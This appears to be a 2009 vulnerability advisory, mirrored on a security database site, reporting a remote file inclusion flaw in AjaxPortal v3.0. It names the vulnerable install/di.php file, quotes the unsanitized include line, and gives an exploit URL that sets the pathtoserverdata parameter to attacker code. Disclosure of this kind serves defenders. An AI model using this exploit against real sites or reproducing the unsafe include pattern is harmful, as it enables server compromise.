Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:22101
HistoryJun 29, 2009 - 12:00 a.m.

AjaxPortal v3.0 Remote File Inclusion Vulnerability

2009-06-2900:00:00
vulners.com
20

/===============================================================================================================================================\
|
| [o] AjaxPortal v3.0 Remote File Inclusion Vulnerability
|
| Software : AjaxPortal v3.0
| Vendor :
http://myiosoft.com/download/AjaxPortal/ajaxportal-30.zip
| Author : Cru3l.b0y
| Contact : [email protected]
| Home : WwW.DeltaHacking.Net

|===============================================================================================================================================|
|
| [o] Vulnerable file
|
| install/di.php
|
| include $pathtoserverdata."serverdata.php";
|

| [o] Exploit
|
|
http://localhost/[path]/install/di.php?pathtoserverdata=[evilcode]